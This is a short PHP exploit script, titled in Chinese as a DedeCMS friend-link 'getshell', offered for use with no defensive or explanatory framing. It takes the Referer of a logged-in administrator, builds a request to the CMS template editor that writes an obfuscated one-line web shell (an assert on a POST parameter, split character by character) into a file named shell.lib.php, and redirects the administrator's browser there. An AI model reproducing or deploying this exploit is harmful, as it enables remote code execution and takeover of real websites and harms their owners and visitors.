dedecms 友链 getshell

<?php
//print_r($_SERVER);
$referer = $_SERVER['HTTP_REFERER'];
$dede_login = str_replace("friendlink_main.php","",$referer);
$muma = '<'.'?'.'a'.'s'.'s'.'e'.'r'.'t'.'('.'$'.'_'.'P'.'O'.'S'.'T'.'['.'\''.'a'.'\''.']'.')'.';'.'?'.'>';
$exp = 'tpl.php?action=savetagfile&actiondo=addnewtag&content='. $muma .'&filename=shell.lib.php';
$url = $dede_login.$exp;
//echo $url;
header("location: ".$url);
// send mail coder
exit();
?>